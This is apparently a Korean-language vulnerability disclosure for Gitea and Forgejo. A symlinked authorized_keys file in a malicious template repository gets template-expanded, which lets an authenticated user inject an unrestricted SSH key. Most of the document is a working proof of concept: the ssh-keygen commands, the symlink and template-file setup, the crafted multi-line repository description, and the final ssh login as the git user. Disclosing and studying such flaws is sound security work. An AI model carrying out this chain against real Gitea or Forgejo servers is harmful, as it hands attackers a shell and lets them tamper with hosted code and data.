
Gitea 및 Forgejo의 저장소 템플릿 처리에서 디렉토리 트래버설(directory traversal) 취약점으로 인해 원격 인증된 공격자가 파일시스템의 임의 파일을 처리할 수 있으며, 이는 원격 코드 실행으로 이어집니다.
이 저작물은 Creative Commons Attribution-ShareAlike 4.0 International License에 따라 라이선스가 부여됩니다.
Forgejo와 Gitea의 소스 코드를 확인하여 템플릿이 어떻게 수행되는지 더 잘 이해하는 과정에서, 인증된 사용자가 악성 템플릿 저장소를 생성하여 파일 시스템의 임의 파일을 처리할 수 있는 취약점을 발견했습니다.
악성 템플릿의 Git 콘텐츠를 기반으로 저장소를 생성할 때, 템플릿이 파일 시스템의 임의 파일을 확장할 수 있습니다.
git 사용자의 홈 디렉토리 경로(공식 도커 이미지에서는 기본적으로 /data/git)를 알고 있으면, 공격자는 git 사용자의 .ssh/authorized_keys 파일을 확장하여 command 매개변수 없이 키를 주입할 수 있으며, 이를 통해 임의 명령이나 대화형 셸을 실행할 수 있습니다.
영향을 받는 버전: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
영향을 받는 구성 요소: 템플릿 저장소
근본 원인: 템플릿 파일 내용을 읽고 쓸 때 심볼릭 링크 역참조
공격자가 합법적인 사용자로 인증
공격자가 추측한 git 사용자의 .ssh/authorized_keys 파일에 대한 심볼릭 링크와 해당 심볼릭 링크를 참조하는 .forgejo/template 파일을 포함하는 악성 템플릿 저장소를 생성
공격자가 ${REPO_DESCRIPTION}으로 끝나는 사용자 정의 주석이 포함된 ssh 공개 키를 자신의 계정에 추가
공격자가 Git 콘텐츠 템플릿을 활성화하고 설명에 줄바꿈 후 다른 ssh 공개 키를 포함한 악성 템플릿 저장소를 참조하는 저장소를 생성
Gitea/Forgejo가 authorized_keys 심볼릭 링크를 읽고 템플릿 처리하여, 이전에 설정된 공개 키의 주석이 command 매개변수 없이 공격자의 저장소 설명에 해당하는 임의 항목으로 확장되게 함
공격자가 주입된 키를 사용하여 git 사용자로 대화형 로그인
또한 공격자가 구성 파일, SQLite 데이터베이스를 손상시키거나 대용량 파일을 읽어 서비스 거부를 유발할 수도 있습니다.
취약한 버전의 Gitea/Forgejo를 설치 및 구성
관리자 계정을 사용하여 공격자 계정을 등록 또는 생성
공격자 계정으로 로그인
두 개의 서로 다른 SSH 키 생성: 하나는 Git용, 하나는 대화형 SSH용
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub 파일의 내용을 인증된 ssh-key로 추가키 주석이 있어야 하며 다음과 같아야 합니다:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
이제 git 사용자의 .ssh/authorized_keys는 다음과 같이 보입니다:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Gitea/Forgejo UI를 사용하여 악성 템플릿 저장소 생성
템플릿 저장소를 클론하고 악성 심볼릭 링크 및 템플릿 구성 추가
# 템플릿 저장소 클론
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# 악성 심볼릭 링크 생성
ln -s /data/git/.ssh/authorized_keys
# Gitea를 사용하는 경우 Gitea 템플릿 구성 생성
mkdir .gitea
echo authorized_keys > .gitea/template
# Forgejo를 사용하는 경우 Forgejo 템플릿 구성 생성
mkdir .forgejo
echo authorized_keys > .forgejo/template
# 변경 사항을 커밋하고 푸시
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pub 파일의 내용을 포함한 악성 템플릿 저장소를 참조하는 새 저장소 생성저장소 설명은 다음과 같아야 합니다:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
첫 줄의 replaced는 필수가 아니지만, 줄바꿈이 여전히 있는지 확인해야 합니다.
줄 끝의 attacker@machine 주석도 선택 사항입니다.
결과적으로 git 사용자의 .ssh/authorized_keys는 다음과 같이 보입니다:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh 키와 ssh 클라이언트를 사용하여 연결ssh -i ~/.ssh/attacker-ssh git@localhost -p 222